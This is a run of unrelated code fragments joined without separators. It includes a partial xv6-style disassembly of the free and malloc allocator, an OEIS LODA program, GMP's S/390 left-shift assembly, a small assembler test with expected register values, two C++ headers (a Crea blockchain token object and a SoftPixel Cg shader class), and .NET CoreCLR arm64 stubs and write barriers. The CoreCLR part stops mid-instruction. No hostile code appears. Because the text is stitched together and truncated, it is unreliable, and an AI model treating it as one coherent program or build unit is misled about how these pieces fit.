%esp,%ebp 593: 57 push %edi 594: 56 push %esi 595: 53 push %ebx 596: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 599: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 59c: a1 e0 09 00 00 mov 0x9e0,%eax 5a1: 8b 10 mov (%eax),%edx 5a3: 39 c8 cmp %ecx,%eax 5a5: 73 11 jae 5b8 <free+0x28> 5a7: 90 nop 5a8: 39 d1 cmp %edx,%ecx 5aa: 72 14 jb 5c0 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5ac: 39 d0 cmp %edx,%eax 5ae: 73 10 jae 5c0 <free+0x30> { 5b0: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5b2: 8b 10 mov (%eax),%edx 5b4: 39 c8 cmp %ecx,%eax 5b6: 72 f0 jb 5a8 <free+0x18> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5b8: 39 d0 cmp %edx,%eax 5ba: 72 f4 jb 5b0 <free+0x20> 5bc: 39 d1 cmp %edx,%ecx 5be: 73 f0 jae 5b0 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 5c0: 8b 73 fc mov -0x4(%ebx),%esi 5c3: 8d 3c f1 lea (%ecx,%esi,8),%edi 5c6: 39 fa cmp %edi,%edx 5c8: 74 1a je 5e4 <free+0x54> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5ca: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5cd: 8b 50 04 mov 0x4(%eax),%edx 5d0: 8d 34 d0 lea (%eax,%edx,8),%esi 5d3: 39 f1 cmp %esi,%ecx 5d5: 74 24 je 5fb <free+0x6b> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 5d7: 89 08 mov %ecx,(%eax) freep = p; 5d9: a3 e0 09 00 00 mov %eax,0x9e0 } 5de: 5b pop %ebx 5df: 5e pop %esi 5e0: 5f pop %edi 5e1: 5d pop %ebp 5e2: c3 ret 5e3: 90 nop bp->s.size += p->s.ptr->s.size; 5e4: 03 72 04 add 0x4(%edx),%esi 5e7: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 5ea: 8b 10 mov (%eax),%edx 5ec: 8b 12 mov (%edx),%edx 5ee: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5f1: 8b 50 04 mov 0x4(%eax),%edx 5f4: 8d 34 d0 lea (%eax,%edx,8),%esi 5f7: 39 f1 cmp %esi,%ecx 5f9: 75 dc jne 5d7 <free+0x47> p->s.size += bp->s.size; 5fb: 03 53 fc add -0x4(%ebx),%edx 5fe: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 601: 8b 53 f8 mov -0x8(%ebx),%edx 604: 89 10 mov %edx,(%eax) freep = p; 606: a3 e0 09 00 00 mov %eax,0x9e0 } 60b: 5b pop %ebx 60c: 5e pop %esi 60d: 5f pop %edi 60e: 5d pop %ebp 60f: c3 ret 00000610 <malloc>: return freep; } void* malloc(uint nbytes) { 610: 55 push %ebp 611: 89 e5 mov %esp,%ebp 613: 57 push %edi 614: 56 push %esi 615: 53 push %ebx 616: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 619: 8b 45 08 mov 0x8(%ebp),%eax 61c: 8d 70 07 lea 0x7(%eax),%esi 61f: c1 ee 03 shr $0x3,%esi 622: 46 inc %esi if((prevp = freep) == 0){ 623: 8b 3d e0 09 00 00 mov 0x9e0,%edi 629: 85 ff test %edi,%edi 62b: 0f 84 a3 00 00 00 je 6d4 <malloc+0xc4> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 631: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 633: 8b 48 04 mov 0x4(%eax),%ecx 636: 39 f1 cmp %esi,%ecx 638: 73 67 jae 6a1 <malloc+0x91> 63a: 89 f3 mov %esi,%ebx 63c: 81 fe 00 10 00 00 cmp $0x1000,%esi 642: 0f 82 80 00 00 00 jb 6c8 <malloc+0xb8> p = sbrk(nu * sizeof(Header)); 648: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 64f: 89 4d e4 mov %ecx,-0x1c(%ebp) 652: eb 11 jmp 665 <malloc+0x55> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 654: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 656: 8b 4a 04 mov 0x4(%edx),%ecx 659: 39 f1 cmp %esi,%ecx 65b: 73 4b jae 6a8 <malloc+0x98> 65d: 8b 3d e0 09 00 00 mov 0x9e0,%edi 663: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 665: 39 c7 cmp %eax,%edi 667: 75 eb jne 654 <malloc+0x44> p = sbrk(nu * sizeof(Header)); 669: 83 ec 0c sub $0xc,%esp 66c: ff 75 e4 pushl -0x1c(%ebp) 66f: e8 d5 fc ff ff call 349 <sbrk> if(p == (char*)-1) 674: 83 c4 10 add $0x10,%esp 677: 83 f8 ff cmp $0xffffffff,%eax 67a: 74 1b je 697 <malloc+0x87> hp->s.size = nu; 67c: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 67f: 83 ec 0c sub $0xc,%esp 682: 83 c0 08 add $0x8,%eax 685: 50 push %eax 686: e8 05 ff ff ff call 590 <free> return freep; 68b: a1 e0 09 00 00 mov 0x9e0,%eax if((p = morecore(nunits)) == 0) 690: 83 c4 10 add $0x10,%esp 693: 85 c0 test %eax,%eax 695: 75 bd jne 654 <malloc+0x44> return 0; 697: 31 c0 xor %eax,%eax } } 699: 8d 65 f4 lea -0xc(%ebp),%esp 69c: 5b pop %ebx 69d: 5e pop %esi 69e: 5f pop %edi 69f: 5d pop %ebp 6a0: c3 ret if(p->s.size >= nunits){ 6a1: 89 c2 mov %eax,%edx 6a3: 89 f8 mov %edi,%eax 6a5: 8d 76 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 6a8: 39 ce cmp %ecx,%esi 6aa: 74 54 je 700 <malloc+0xf0> p->s.size -= nunits; 6ac: 29 f1 sub %esi,%ecx 6ae: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 6b1: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 6b4: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 6b7: a3 e0 09 00 00 mov %eax,0x9e0 return (void*)(p + 1); 6bc: 8d 42 08 lea 0x8(%edx),%eax } 6bf: 8d 65 f4 lea -0xc(%ebp),%esp 6c2: 5b pop %ebx 6c3: 5e pop %esi 6c4: 5f pop %edi 6c5: 5d pop %ebp 6c6: c3 ret 6c7: 90 nop 6c8: bb 00 10 00 00 mov $0x1000,%ebx 6cd: e9 76 ff ff ff jmp 648 <malloc+0x38> 6d2: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 6d4: c7 05 e0 09 00 00 e4 movl $0x9e4,0x9e0 6db: 09 00 00 6de: c7 05 e4 09 00 00 e4 movl $0x9e4,0x9e4 6e5: 09 00 00 base.s.size = 0; 6e8: c7 05 e8 09 00 00 00 movl $0x0,0x9e8 6ef: 00 00 00 6f2: bf e4 09 00 00 mov $0x9e4,%edi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6f7: 89 f8 mov %edi,%eax 6f9: e9 3c ff ff ff jmp 63a <malloc+0x2a> 6fe: 66 90 xchg %ax,%ax prevp->s.ptr = p->s.ptr; 700: 8b 0a mov (%edx),%ecx 702: 89 08 mov %ecx,(%eax) 704: eb b1 jmp 6b7 <malloc+0xa7>
; A085424: Number of ones in the symmetric signed digit expansion of n with q=2 (i.e., the representation of n in the (-1,0,1)_2 number system). ; 1,1,1,1,2,1,1,1,2,2,1,1,2,1,1,1,2,2,2,2,3,1,1,1,2,2,1,1,2,1,1,1,2,2,2,2,3,2,2,2,3,3,1,1,2,1,1,1,2,2,2,2,3,1,1,1,2,2,1,1,2,1,1,1,2,2,2,2,3,2,2,2,3,3,2,2,3,2,2,2,3,3,3,3,4,1,1,1,2,2,1,1,2,1,1,1 lpb $0,1 lpb $0,1 mov $2,$0 mod $0,4 sub $2,1 add $0,$2 add $1,1 lpe div $0,2 lpe add $1,1
dnl S/390-64 mpn_lshift. dnl Copyright 2011, 2012, 2014 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C z900 7 C z990 3 C z9 ? C z10 6 C z196 ? C NOTES C * This uses discrete loads and stores in a software pipeline. Using lmg and C stmg is not faster. C * One could assume more pipelining could approach 2.5 c/l, but we have not C found any 8-way loop that runs better than the current 4-way loop. C * Consider using the same feed-in code for 1 <= n <= 3 as for n mod 4, C similarly to the x86_64 sqr_basecase feed-in. C INPUT PARAMETERS define(`rp', `%r2') define(`up', `%r3') define(`n', `%r4') define(`cnt', `%r5') define(`tnc', `%r6') ASM_START() PROLOGUE(mpn_lshift) cghi n, 3 jh L(gt1) stmg %r6, %r7, 48(%r15) larl %r1, L(tab)-4 lcgr tnc, cnt sllg n, n, 2 b 0(n,%r1) L(tab): j L(n1) j L(n2) j L(n3) L(n1): lg %r1, 0(up) sllg %r0, %r1, 0(cnt) stg %r0, 0(rp) srlg %r2, %r1, 0(tnc) lg %r6, 48(%r15) C restoring r7 not needed br %r14 L(n2): lg %r1, 8(up) srlg %r4, %r1, 0(tnc) sllg %r0, %r1, 0(cnt) j L(cj) L(n3): lg %r1, 16(up) srlg %r4, %r1, 0(tnc) sllg %r0, %r1, 0(cnt) lg %r1, 8(up) srlg %r7, %r1, 0(tnc) ogr %r7, %r0 sllg %r0, %r1, 0(cnt) stg %r7, 16(rp) L(cj): lg %r1, 0(up) srlg %r7, %r1, 0(tnc) ogr %r7, %r0 sllg %r0, %r1, 0(cnt) stg %r7, 8(rp) stg %r0, 0(rp) lgr %r2, %r4 lmg %r6, %r7, 48(%r15) br %r14 L(gt1): stmg %r6, %r13, 48(%r15) lcgr tnc, cnt C tnc = -cnt sllg %r1, n, 3 srlg %r0, n, 2 C loop count agr up, %r1 C point up at end of U agr rp, %r1 C point rp at end of R aghi up, -56 aghi rp, -40 lghi %r7, 3 ngr %r7, n je L(b0) cghi %r7, 2 jl L(b1) je L(b2) L(b3): lg %r7, 48(up) srlg %r9, %r7, 0(tnc) sllg %r11, %r7, 0(cnt) lg %r8, 40(up) lg %r7, 32(up) srlg %r4, %r8, 0(tnc) sllg %r13, %r8, 0(cnt) ogr %r11, %r4 la rp, 16(rp) j L(lm3) L(b2): lg %r8, 48(up) lg %r7, 40(up) srlg %r9, %r8, 0(tnc) sllg %r13, %r8, 0(cnt) la rp, 24(rp) la up, 8(up) j L(lm2) L(b1): lg %r7, 48(up) srlg %r9, %r7, 0(tnc) sllg %r11, %r7, 0(cnt) lg %r8, 40(up) lg %r7, 32(up) srlg %r4, %r8, 0(tnc) sllg %r10, %r8, 0(cnt) ogr %r11, %r4 la rp, 32(rp) la up, 16(up) j L(lm1) L(b0): lg %r8, 48(up) lg %r7, 40(up) srlg %r9, %r8, 0(tnc) sllg %r10, %r8, 0(cnt) la rp, 40(rp) la up, 24(up) j L(lm0) ALIGN(8) L(top): srlg %r4, %r8, 0(tnc) sllg %r13, %r8, 0(cnt) ogr %r11, %r4 stg %r10, 24(rp) L(lm3): stg %r11, 16(rp) L(lm2): srlg %r12, %r7, 0(tnc) sllg %r11, %r7, 0(cnt) lg %r8, 24(up) lg %r7, 16(up) ogr %r13, %r12 srlg %r4, %r8, 0(tnc) sllg %r10, %r8, 0(cnt) ogr %r11, %r4 stg %r13, 8(rp) L(lm1): stg %r11, 0(rp) L(lm0): srlg %r12, %r7, 0(tnc) aghi rp, -32 sllg %r11, %r7, 0(cnt) lg %r8, 8(up) lg %r7, 0(up) aghi up, -32 ogr %r10, %r12 brctg %r0, L(top) L(end): srlg %r4, %r8, 0(tnc) sllg %r13, %r8, 0(cnt) ogr %r11, %r4 stg %r10, 24(rp) stg %r11, 16(rp) srlg %r12, %r7, 0(tnc) sllg %r11, %r7, 0(cnt) ogr %r13, %r12 stg %r13, 8(rp) stg %r11, 0(rp) lgr %r2, %r9 lmg %r6, %r13, 48(%r15) br %r14 EPILOGUE()
lc r4, 0x00000003 lc r5, 0x00000002 ges r6, r4, r5 halt #@expected values #r4 = 0x00000003 #r5 = 0x00000002 #r6 = 0x00000001 #pc = -2147483632 #e0 = 0 #e1 = 0 #e2 = 0 #e3 = 0
#pragma once #include <crea/chain/crea_object_types.hpp> #include <boost/multi_index/composite_key.hpp> namespace crea { namespace plugins { namespace smt_test { using namespace std; using namespace crea::chain; #ifndef CREA_SMT_TEST_SPACE_ID #define CREA_SMT_TEST_SPACE_ID 13 #endif enum smt_test_object_types { smt_token_object_type = ( CREA_SMT_TEST_SPACE_ID << 8 ) }; class smt_token_object : public object< smt_token_object_type, smt_token_object > { public: template< typename Constructor, typename Allocator > smt_token_object( Constructor&& c, allocator< Allocator > a ) { c( *this ); } id_type id; account_name_type control_account; uint8_t decimal_places = 0; int64_t max_supply = CREA_MAX_SHARE_SUPPLY; time_point_sec generation_begin_time; time_point_sec generation_end_time; time_point_sec announced_launch_time; time_point_sec launch_expiration_time; }; typedef smt_token_object::id_type smt_token_id_type; using namespace boost::multi_index; struct by_control_account; typedef multi_index_container< smt_token_object, indexed_by< ordered_unique< tag< by_id >, member< smt_token_object, smt_token_id_type, &smt_token_object::id > >, ordered_unique< tag< by_control_account >, composite_key< smt_token_object, member< smt_token_object, account_name_type, &smt_token_object::control_account > > > >, allocator< smt_token_object > > smt_token_index; } } } // crea::plugins::smt_test FC_REFLECT( crea::plugins::smt_test::smt_token_object, (id) (control_account) (decimal_places) (max_supply) (generation_begin_time) (generation_end_time) (announced_launch_time) (launch_expiration_time) ) CHAINBASE_SET_INDEX_TYPE( crea::plugins::smt_test::smt_token_object, crea::plugins::smt_test::smt_token_index )
/* * Cg shader program header * * This file is part of the "SoftPixel Engine" (Copyright (c) 2008 by Lukas Hermanns) * See "SoftPixelEngine.hpp" for license information. */ #ifndef __SP_CG_SHADERPROGRAM_H__ #define __SP_CG_SHADERPROGRAM_H__ #include "Base/spStandard.hpp" #if defined(SP_COMPILE_WITH_CG) #include "Framework/Cg/spCgShaderClass.hpp" #include "RenderSystem/spShaderProgram.hpp" #include <map> #include <Cg/cg.h> namespace sp { namespace video { //! Class for the "NVIDIA Cg Shader Program". class SP_EXPORT CgShaderProgram : public Shader { public: virtual ~CgShaderProgram(); /* Functions */ bool compile( const std::list<io::stringc> &ShaderBuffer, const io::stringc &EntryPoint = "", const c8** CompilerOptions = 0, u32 Flags = 0 ); /* Set the constants (by name) */ virtual bool setConstant(const io::stringc &Name, const f32 Value); virtual bool setConstant(const io::stringc &Name, const f32* Buffer, s32 Count); virtual bool setConstant(const io::stringc &Name, const s32 Value); virtual bool setConstant(const io::stringc &Name, const s32* Buffer, s32 Count); virtual bool setConstant(const io::stringc &Name, const dim::vector3df &Position); virtual bool setConstant(const io::stringc &Name, const dim::vector4df &Position); virtual bool setConstant(const io::stringc &Name, const video::color &Color); virtual bool setConstant(const io::stringc &Name, const dim::matrix4f &Matrix); protected: friend class CgShaderClass; /* === Functions === */ CgShaderProgram(ShaderClass* Table, const EShaderTypes Type, const EShaderVersions Version); bool createProgram( const io::stringc &SourceCodeString, const io::stringc &EntryPoint, const c8** CompilerOptions = 0 ); virtual bool compileCg( const io::stringc &SourceCodeString, const io::stringc &EntryPoint, const c8** CompilerOptions = 0 ) = 0; virtual void bind() = 0; virtual void unbind() = 0; bool getParam(const io::stringc &Name); bool setupShaderConstants(); /* === Members === */ CGprofile cgProfile_; CGprogram cgProgram_; std::map<std::string, CGparameter> ParameterMap_; static CGparameter ActiveParam_; }; } // /namespace video } // /namespace sp #endif #endif // ================================================================================
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ;; ==++== ;; ;; ;; ==--== #include "ksarm64.h" #include "asmconstants.h" #include "asmmacros.h" IMPORT ExternalMethodFixupWorker IMPORT PreStubWorker IMPORT NDirectImportWorker IMPORT VSD_ResolveWorker IMPORT JIT_InternalThrow IMPORT ComPreStubWorker IMPORT COMToCLRWorker IMPORT CallDescrWorkerUnwindFrameChainHandler IMPORT UMEntryPrestubUnwindFrameChainHandler IMPORT TheUMEntryPrestubWorker IMPORT GetCurrentSavedRedirectContext IMPORT LinkFrameAndThrow IMPORT FixContextHandler IMPORT OnHijackWorker #ifdef FEATURE_READYTORUN IMPORT DynamicHelperWorker #endif #ifdef FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP IMPORT g_sw_ww_table #endif #ifdef FEATURE_MANUALLY_MANAGED_CARD_BUNDLES IMPORT g_card_bundle_table #endif IMPORT g_ephemeral_low IMPORT g_ephemeral_high IMPORT g_lowest_address IMPORT g_highest_address IMPORT g_card_table IMPORT g_dispatch_cache_chain_success_counter #ifdef WRITE_BARRIER_CHECK SETALIAS g_GCShadow, ?g_GCShadow@@3PEAEEA SETALIAS g_GCShadowEnd, ?g_GCShadowEnd@@3PEAEEA IMPORT g_lowest_address IMPORT $g_GCShadow IMPORT $g_GCShadowEnd #endif // WRITE_BARRIER_CHECK IMPORT JIT_GetSharedNonGCStaticBase_Helper IMPORT JIT_GetSharedGCStaticBase_Helper #ifdef FEATURE_COMINTEROP IMPORT CLRToCOMWorker #endif // FEATURE_COMINTEROP IMPORT JIT_WriteBarrier_Table_Loc IMPORT JIT_WriteBarrier_Loc TEXTAREA ;; LPVOID __stdcall GetCurrentIP(void); LEAF_ENTRY GetCurrentIP mov x0, lr ret lr LEAF_END ;; LPVOID __stdcall GetCurrentSP(void); LEAF_ENTRY GetCurrentSP mov x0, sp ret lr LEAF_END ;; DWORD64 __stdcall GetDataCacheZeroIDReg(void); LEAF_ENTRY GetDataCacheZeroIDReg mrs x0, dczid_el0 and x0, x0, 31 ret lr LEAF_END ;;----------------------------------------------------------------------------- ;; This routine captures the machine state. It is used by helper method frame ;;----------------------------------------------------------------------------- ;;void LazyMachStateCaptureState(struct LazyMachState *pState); LEAF_ENTRY LazyMachStateCaptureState ;; marks that this is not yet valid mov w1, #0 str w1, [x0, #MachState__isValid] str lr, [x0, #LazyMachState_captureIp] ;; str instruction does not save sp register directly so move to temp register mov x1, sp str x1, [x0, #LazyMachState_captureSp] ;; save non-volatile registers that can contain object references add x1, x0, #LazyMachState_captureX19_X29 stp x19, x20, [x1, #(16*0)] stp x21, x22, [x1, #(16*1)] stp x23, x24, [x1, #(16*2)] stp x25, x26, [x1, #(16*3)] stp x27, x28, [x1, #(16*4)] str x29, [x1, #(16*5)] ret lr LEAF_END ; ; If a preserved register were pushed onto the stack between ; the managed caller and the H_M_F, ptrX19_X29 will point to its ; location on the stack and it would have been updated on the ; stack by the GC already and it will be popped back into the ; appropriate register when the appropriate epilog is run. ; ; Otherwise, the register is preserved across all the code ; in this HCALL or FCALL, so we need to update those registers ; here because the GC will have updated our copies in the ; frame. ; ; So, if ptrX19_X29 points into the MachState, we need to update ; the register here. That's what this macro does. ; MACRO RestoreRegMS $regIndex, $reg ; Incoming: ; ; x0 = address of MachState ; ; $regIndex: Index of the register (x19-x29). For x19, index is 19. ; For x20, index is 20, and so on. ; ; $reg: Register name (e.g. x19, x20, etc) ; ; Get the address of the specified captured register from machine state add x2, x0, #(MachState__captureX19_X29 + (($regIndex-19)*8)) ; Get the content of specified preserved register pointer from machine state ldr x3, [x0, #(MachState__ptrX19_X29 + (($regIndex-19)*8))] cmp x2, x3 bne %FT0 ldr $reg, [x2] 0 MEND ; EXTERN_C int __fastcall HelperMethodFrameRestoreState( ; INDEBUG_COMMA(HelperMethodFrame *pFrame) ; MachState *pState ; ) LEAF_ENTRY HelperMethodFrameRestoreState #ifdef _DEBUG mov x0, x1 #endif ; If machine state is invalid, then simply exit ldr w1, [x0, #MachState__isValid] cmp w1, #0 beq Done RestoreRegMS 19, X19 RestoreRegMS 20, X20 RestoreRegMS 21, X21 RestoreRegMS 22, X22 RestoreRegMS 23, X23 RestoreRegMS 24, X24 RestoreRegMS 25, X25 RestoreRegMS 26, X26 RestoreRegMS 27, X27 RestoreRegMS 28, X28 RestoreRegMS 29, X29 Done ; Its imperative that the return value of HelperMethodFrameRestoreState is zero ; as it is used in the state machine to loop until it becomes zero. ; Refer to HELPER_METHOD_FRAME_END macro for details. mov x0,#0 ret lr LEAF_END ; ------------------------------------------------------------------ ; The call in ndirect import precode points to this function. NESTED_ENTRY NDirectImportThunk PROLOG_SAVE_REG_PAIR fp, lr, #-224! SAVE_ARGUMENT_REGISTERS sp, 16 SAVE_FLOAT_ARGUMENT_REGISTERS sp, 96 mov x0, x12 bl NDirectImportWorker mov x12, x0 ; pop the stack and restore original register state RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 96 RESTORE_ARGUMENT_REGISTERS sp, 16 EPILOG_RESTORE_REG_PAIR fp, lr, #224! ; If we got back from NDirectImportWorker, the MD has been successfully ; linked. Proceed to execute the original DLL call. EPILOG_BRANCH_REG x12 NESTED_END ; ------------------------------------------------------------------ ; The call in fixup precode initally points to this function. ; The pupose of this function is to load the MethodDesc and forward the call to prestub. NESTED_ENTRY PrecodeFixupThunk ; x12 = FixupPrecode * ; On Exit ; x12 = MethodDesc* ; x13, x14 Trashed ; Inline computation done by FixupPrecode::GetMethodDesc() ldrb w13, [x12, #Offset_PrecodeChunkIndex] ; m_PrecodeChunkIndex ldrb w14, [x12, #Offset_MethodDescChunkIndex] ; m_MethodDescChunkIndex add x12,x12,w13,uxtw #FixupPrecode_ALIGNMENT_SHIFT_1 add x13,x12,w13,uxtw #FixupPrecode_ALIGNMENT_SHIFT_2 ldr x13, [x13,#SIZEOF__FixupPrecode] add x12,x13,w14,uxtw #MethodDesc_ALIGNMENT_SHIFT b ThePreStub NESTED_END ; ------------------------------------------------------------------ NESTED_ENTRY ThePreStub PROLOG_WITH_TRANSITION_BLOCK add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov x1, METHODDESC_REGISTER ; pMethodDesc bl PreStubWorker mov x9, x0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG x9 NESTED_END ;; ------------------------------------------------------------------ ;; ThePreStubPatch() LEAF_ENTRY ThePreStubPatch nop ThePreStubPatchLabel EXPORT ThePreStubPatchLabel ret lr LEAF_END ;----------------------------------------------------------------------------- ; The following Macros help in WRITE_BARRIER Implemetations ; WRITE_BARRIER_ENTRY ; ; Declare the start of a write barrier function. Use similarly to NESTED_ENTRY. This is the only legal way ; to declare a write barrier function. ; MACRO WRITE_BARRIER_ENTRY $name LEAF_ENTRY $name MEND ; WRITE_BARRIER_END ; ; The partner to WRITE_BARRIER_ENTRY, used like NESTED_END. ; MACRO WRITE_BARRIER_END $__write_barrier_name LEAF_END_MARKED $__write_barrier_name MEND ; ------------------------------------------------------------------ ; Start of the writeable code region LEAF_ENTRY JIT_PatchedCodeStart ret lr LEAF_END ;----------------------------------------------------------------------------- ; void JIT_UpdateWriteBarrierState(bool skipEphemeralCheck, size_t writeableOffset) ; ; Update shadow copies of the various state info required for barrier ; ; State info is contained in a literal pool at the end of the function ; Placed in text section so that it is close enough to use ldr literal and still ; be relocatable. Eliminates need for PREPARE_EXTERNAL_VAR in hot code. ; ; Align and group state info together so it fits in a single cache line ; and each entry can be written atomically ; WRITE_BARRIER_ENTRY JIT_UpdateWriteBarrierState PROLOG_SAVE_REG_PAIR fp, lr, #-16! ; x0-x7 will contain intended new state ; x8 will preserve skipEphemeralCheck ; x12 will be used for pointers mov x8, x0 mov x9, x1 adrp x12, g_card_table ldr x0, [x12, g_card_table] #ifdef FEATURE_MANUALLY_MANAGED_CARD_BUNDLES adrp x12, g_card_bundle_table ldr x1, [x12, g_card_bundle_table] #endif #ifdef WRITE_BARRIER_CHECK adrp x12, $g_GCShadow ldr x2, [x12, $g_GCShadow] #endif #ifdef FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP adrp x12, g_sw_ww_table ldr x3, [x12, g_sw_ww_table] #endif adrp x12, g_ephemeral_low ldr x4, [x12, g_ephemeral_low] adrp x12, g_ephemeral_high ldr x5, [x12, g_ephemeral_high] ; Check skipEphemeralCheck cbz x8, EphemeralCheckEnabled movz x4, #0 movn x5, #0 EphemeralCheckEnabled adrp x12, g_lowest_address ldr x6, [x12, g_lowest_address] adrp x12, g_highest_address ldr x7, [x12, g_highest_address] ; Update wbs state adrp x12, JIT_WriteBarrier_Table_Loc ldr x12, [x12, JIT_WriteBarrier_Table_Loc] add x12, x12, x9 stp x0, x1, [x12], 16 stp x2, x3, [x12], 16 stp x4, x5, [x12], 16 stp x6, x7, [x12], 16 EPILOG_RESTORE_REG_PAIR fp, lr, #16! EPILOG_RETURN WRITE_BARRIER_END JIT_UpdateWriteBarrierState ; Begin patchable literal pool ALIGN 64 ; Align to power of two at least as big as patchable literal pool so that it fits optimally in cache line WRITE_BARRIER_ENTRY JIT_WriteBarrier_Table wbs_begin wbs_card_table DCQ 0 wbs_card_bundle_table DCQ 0 wbs_GCShadow DCQ 0 wbs_sw_ww_table DCQ 0 wbs_ephemeral_low DCQ 0 wbs_ephemeral_high DCQ 0 wbs_lowest_address DCQ 0 wbs_highest_address DCQ 0 WRITE_BARRIER_END JIT_WriteBarrier_Table ; void JIT_ByRefWriteBarrier ; On entry: ; x13 : the source address (points to object reference to write) ; x14 : the destination address (object reference written here) ; ; On exit: ; x12 : trashed ; x13 : incremented by 8 ; x14 : incremented by 8 ; x15 : trashed ; x17 : trashed (ip1) if FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP ; WRITE_BARRIER_ENTRY JIT_ByRefWriteBarrier ldr x15, [x13], 8 b JIT_CheckedWriteBarrier WRITE_BARRIER_END JIT_ByRefWriteBarrier ;----------------------------------------------------------------------------- ; Simple WriteBarriers ; void JIT_CheckedWriteBarrier(Object** dst, Object* src) ; On entry: ; x14 : the destination address (LHS of the assignment) ; x15 : the object reference (RHS of the assignment) ; ; On exit: ; x12 : trashed ; x14 : incremented by 8 ; x15 : trashed ; x17 : trashed (ip1) if FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP ; WRITE_BARRIER_ENTRY JIT_CheckedWriteBarrier ldr x12, wbs_lowest_address cmp x14, x12 ldr x12, wbs_highest_address ccmphs x14, x12, #0x2 blo JIT_WriteBarrier NotInHeap str x15, [x14], 8 ret lr WRITE_BARRIER_END JIT_CheckedWriteBarrier ; void JIT_WriteBarrier(Object** dst, Object* src) ; On entry: ; x14 : the destination address (LHS of the assignment) ; x15 : the object reference (RHS of the assignment) ; ; On exit: ; x12 : trashed ; x14 : incremented by 8 ; x15 : trashed ; x17 : trashed (ip1) if FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP ; WRITE_BARRIER_ENTRY JIT_WriteBarrier stlr x15, [x14] #ifdef WRITE_BARRIER_CHECK ; Update GC Shadow Heap ; Do not perform the work if g_GCShadow is 0 ldr x12, wbs_GCShadow cbz x12, ShadowUpdateDisabled ; need temporary register. Save before using. str x13, [sp, #-16]! ; Compute address of shadow heap location: ; pShadow = $g_GCShadow + (x14 - g_lowest_address) ldr x13, wbs_lowest_address sub x13, x14, x13 add x12, x13, x12 ; if (pShadow >= $g_GCShadowEnd) goto end adrp x13, $g_GCShadowEnd ldr x13, [x13, $g_GCShadowEnd] cmp x12, x13 bhs ShadowUpdateEnd ; *pShadow = x15 str x15, [x12] ; Ensure that the write to the shadow heap occurs before the read from the GC heap so that race ; conditions are caught by INVALIDGCVALUE. dmb ish ; if ([x14] == x15) goto end ldr x13, [x14] cmp x13, x15 beq ShadowUpdateEnd ; *pShadow = INVALIDGCVALUE (0xcccccccd) movz x13, #0xcccd movk x13, #0xcccc, LSL #16 str x13, [x12] ShadowUpdateEnd ldr x13, [sp], #16 ShadowUpdateDisabled #endif #ifdef FEATURE_USE_SOFTWARE_WRITE_WATCH_FOR_GC_HEAP ; Update the write watch table if necessary ldr x12, wbs_sw_ww_table cbz x12, CheckCardTable add x12, x12, x14, LSR #0xC // SoftwareWriteWatch::AddressToTableByteIndexShift ldrb w17, [x12] cbnz x17, CheckCardTable mov w17, 0xFF strb w17, [x12] #endif CheckCardTable ; Branch to Exit if the reference is not in the Gen0 heap ; adr x12, wbs_ephemeral_low ldp x12, x16, [x12] cbz x12, SkipEphemeralCheck cmp x15, x12 blo Exit cmp x15, x16 bhi Exit SkipEphemeralCheck ; Check if we need to update the card table ldr x12, wbs_card_table ; x15 := pointer into card table add x15, x12, x14, lsr #11 ldrb w12, [x15] cmp x12, 